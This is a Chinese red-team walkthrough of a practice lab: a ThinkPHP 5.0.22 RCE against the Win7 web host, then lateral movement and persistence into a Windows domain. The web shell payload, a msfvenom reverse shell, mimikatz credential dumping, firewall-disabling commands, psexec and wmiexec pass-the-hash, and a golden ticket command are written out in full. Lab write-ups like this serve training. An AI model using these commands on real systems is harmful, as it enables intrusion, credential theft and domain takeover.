ATT&CK实战系列-红队评估(五)
虚拟机环境
win7
密码:
- sunheart 123.com
- sunAdministrator dc123.com
ip:
- 192.168.252.213
- 192.168.138.135
2008
密码:
- sunadmin 2020.com
ip:
- 192.168.138.138
我们还需要在win7主机上开启phpstudy
信息收集
首先我们使用nmap对目标主机进行端口和漏洞扫描
nmap -sS -sV -Pn --script=vuln 192.168.252.213
我们发现80端口,以及很多扫描出来的漏洞,我们尝试访问80端口
通过报错页面我们知道其版本是5.0.22
GetShell
在thinkphp的5.0.22版本中存在RCE漏洞,我们进行漏洞验证
http://192.168.252.213//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
接着我们写入shell
http://192.168.252.213//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php echo "hackme";@eval($_POST[cmd]);?>
访问后门,查看是否写入成功
接着我们连接shell,连接成功
接着我们将shell反弹到CS上
内网信息收集
发现存在第二块网卡和域名以及DNS
ipconfig /all
查看域内机器
shell net view /domain:sun
查看域用户列表
shell net group "domain users" /domain
查看域管列表
shell net group "domain admins" /domain
横向移动
关闭防火墙,在真实环境下我们最好放行端口
#查看防火墙的状态
netsh firewall show config
#关闭防火墙
netsh advfirewall set allprofiles state off
#放行6666
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666
方法一
我们在拿到web的shell之后我们在其上面设置代理
接着我们获取所有用户的凭证
mimikatz lsadump::dcsync /domain:sun.com /all /csv
或
logonpasswords
我们在目标栏目中对DC主机使用psexec传递hash
稍等一会,就可以收到DC的shell
方法二
我们在msf上生成shell上传到win7上执行,msf上收到shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.252.133 LPORT=4444 -f exe > /tmp/shell1.exe
查看目标机器内网信息并添加路由信息
run autoroute -p
run get_local_subnets
run autoroute -s 192.168.138.0/24
接着我们抓取域管的密码
kiwi_cmd sekurlsa::logonPasswords
思路:
这里抓到了靶机和域管的密码,那么这里就可以用pth的方法进行横向移动,这是第一种方法;另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp进行横向移动,这是第二种方法;因为我们之前在用nmap对端口进行扫描的时候是发现了139和445端口的,那么我们拿到了密码的情况下可以尝试使用ipc+计划任务的方式进行横向移动。
psexec
use exploit/windows/smb/psexec
set rhost 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com #这里即可以填写明文密码也可以写hash
set payload windows/meterpreter/bind_tcp
run
这里利用成功可能是因为防火墙没有关闭的原因,这里我们利用IPC关闭防火墙,常规的方法是使用netsh关闭域控防火墙,这里我们直接使用ipc连接域控然后使用计划任务添加规则关闭防火墙
首先我们与域控建立IPC连接
net use \\192.168.138.138\ipc$ dc123.com /user:administrator
利用sc创建计划任务立即启动关闭域控的防火墙,这里可以看到防火墙已经关闭了
#创建服务
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#立即启动服务
sc \\192.168.138.138 start unablefirewall
#下面这条是放行防火墙的规则,这里没有用到
netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"
我们再次尝试psexec,成功收到shell
方法三
利用wmiexec进行横向,首先我们将wmiexec上传到win7上,接着利用wmiexec
执行命令
cscript wmiexec.vbs /cmd 192.168.138.138 sun\administrator dc123.com whoami
权限维持
黄金票据
kiwi_cmd sekurlsa::logonPasswords
域:SUN.com
SID:S-1-5-21-3388020223-1982701712-4030140183-500
NTLM:4709c610981029668df9d94ae48eb869
首先我们在win7上测试IPC,失败
net use \\192.168.138.138\ipc$
接着我们上传mimikatz并执行如下命令,IPC访问成功
kerberos::golden /domain:sun.com /sid:S-1-5-21-3388020223-1982701712-4030140183-500 /user:wpsec /rc4:4709c610981029668df9d94ae48eb869 /ptt